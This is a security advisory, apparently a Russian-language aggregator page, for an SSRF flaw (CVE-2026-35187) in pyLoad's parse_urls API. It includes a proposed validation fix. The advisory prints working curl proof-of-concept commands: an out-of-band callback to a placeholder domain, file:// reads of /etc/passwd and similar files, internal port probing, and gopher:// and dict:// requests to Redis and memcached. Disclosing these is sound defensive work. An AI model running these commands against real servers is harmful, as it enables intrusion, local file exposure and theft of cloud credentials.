GHSA-2wvg-62qm-gj33

Опубликовано: 04 апр. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.7

Описание

pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
Read local files via file:// protocol (pycurl reads the file server-side)
Interact with internal services via gopher:// and dict:// protocols
Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

def parse_urls(self, html=None, url=None): if url: page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

# Reading /etc/passwd (file exists) -> empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls # Response: {} # Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls # Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable:

/etc/passwd, /etc/hosts
/proc/self/environ (process environment variables)
/config/settings/pyload.cfg (pyLoad configuration)
/config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls # Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

Read local files via file:// protocol (configuration, credentials, database files)
Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
Scan internal network services and ports via error-based timing
Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

from urllib.parse import urlparse import ipaddress import socket def _is_safe_url(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: return False except (socket.gaierror, ValueError): return False return True def parse_urls(self, html=None, url=None): if url: if not _is_safe_url(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = get_url(url) urls.update(RE_URLMATCH.findall(page))

Ссылки

Пакеты

Наименование

pyload-ng

pip

Затронутые версииВерсия исправления

<= 0.5.0b3.dev96

Отсутствует

EPSS

Процентиль: 19%

0.00269

Низкий

7.7 High

CVSS3

CVE ID

CVE-2026-35187

Дефекты

CWE-918

Связанные уязвимости

CVE-2026-35187

CVSS3: 7.7

nvd

4 месяца назад

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/__init__.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).

CVE-2026-35187

CVSS3: 7.7

debian

4 месяца назад

pyLoad is a free and open-source download manager written in Python. I ...

EPSS

Процентиль: 19%

0.00269

Низкий

7.7 High

CVSS3

CVE ID

CVE-2026-35187

Дефекты

CWE-918